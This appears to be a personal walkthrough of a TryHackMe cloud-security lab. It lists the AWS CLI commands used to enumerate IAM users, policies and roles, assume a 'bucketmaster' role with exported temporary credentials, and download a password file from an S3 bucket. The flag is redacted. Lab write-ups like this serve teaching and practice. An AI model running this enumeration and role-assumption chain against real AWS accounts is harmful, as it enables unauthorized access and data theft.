AWS Security

Overview


Room URL: https://tryhackme.com/room/cloudenum-aoc2025-y4u7i0o3p6
Difficulty:
Category:
Date Completed:

Objectives


Table of Contents

Introduction
Walk Through
Lessons Learned
Resources


Introduction

This challenge, featured on TryHackMe's platform, falls under the Cloud Security category and focuses on Amazon Web Services (AWS) Identity and Access Management (IAM) vulnerabilities. The scenario places participants in the role of an investigator who has obtained credentials belonging to a user named "sir.carrotbane" within King Malhare's kingdom. The objective is to enumerate AWS resources, identify privilege escalation paths through IAM role assumption, and ultimately exfiltrate sensitive data from an S3 bucket. This challenge provides hands-on experience with the AWS CLI and demonstrates how misconfigured IAM policies can lead to unauthorized access—a vulnerability that has affected major organizations like Toyota, Accenture, and Verizon in real-world incidents.

Key Information

IAM Enumeration


Walk Through

  1. Start target machine
  2. aws sts get-caller-identity
    1. 123456789012
  3. What IAM component is used to describe the permissions to be assigned to a user or a group?
    1. policy
  4. What is the name of the policy assigned to sir.carrotbane?
    1. aws iam list-users
      1. Pasted image 20251226141136.png
    2. aws iam list-user-policies --user-name sir.carrotbane
      1. Pasted image 20251226141407.png
    3. aws iam list-attached-user-policies --user-name sir.carrotbane
      1. Pasted image 20251226141208.png
    4. aws iam list-groups-for-user --user-name sir.carrotbane
      1. Pasted image 20251226141238.png
    5. aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane
      1. Pasted image 20251226141526.png
  5. Apart from GetObject and ListBucket, what other action can be taken by assuming the bucketmaster role?
    1. aws iam list-roles
      1. Pasted image 20251226141659.png
    2. aws iam list-role-policies --role-name bucketmaster
      1. Pasted image 20251226141744.png
    3. aws iam list-attached-role-policies --role-name bucketmaster
      1. Pasted image 20251226141819.png
    4. aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy
      1. Pasted image 20251226141910.png
    5. aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC
      1. Pasted image 20251226141945.png
    6. export AWS_ACCESS_KEY_ID="ASIAxxxxxxxxxxxx"
    7. export AWS_SECRET_ACCESS_KEY="abcd1234xxxxxxxxxxxx"
    8. export AWS_SESSION_TOKEN="FwoGZXIvYXdzEJr..."
    9. aws sts get-caller-identity
      1. Pasted image 20251226142322.png
    10. ListAllMyBuckets
  6. What are the contents of the cloud_password.txt file?
    1. aws s3api list-buckets
      1. Pasted image 20251226142520.png
    2. aws s3api list-objects --bucket easter-secrets-123145
      1. Pasted image 20251226142614.png
    3. aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt
      1. Pasted image 20251226142709.png
    4. cat cloud_password.txt
      1. THM{-----------------_------}
      2. Pasted image 20251226142832.png

Lessons Learned


Resources

TryHackMe
AWS CLI
CheatSheet


Revision #1
Created 2026-01-02 17:52:06 UTC by David Rizzo
Updated 2026-01-02 17:58:47 UTC by David Rizzo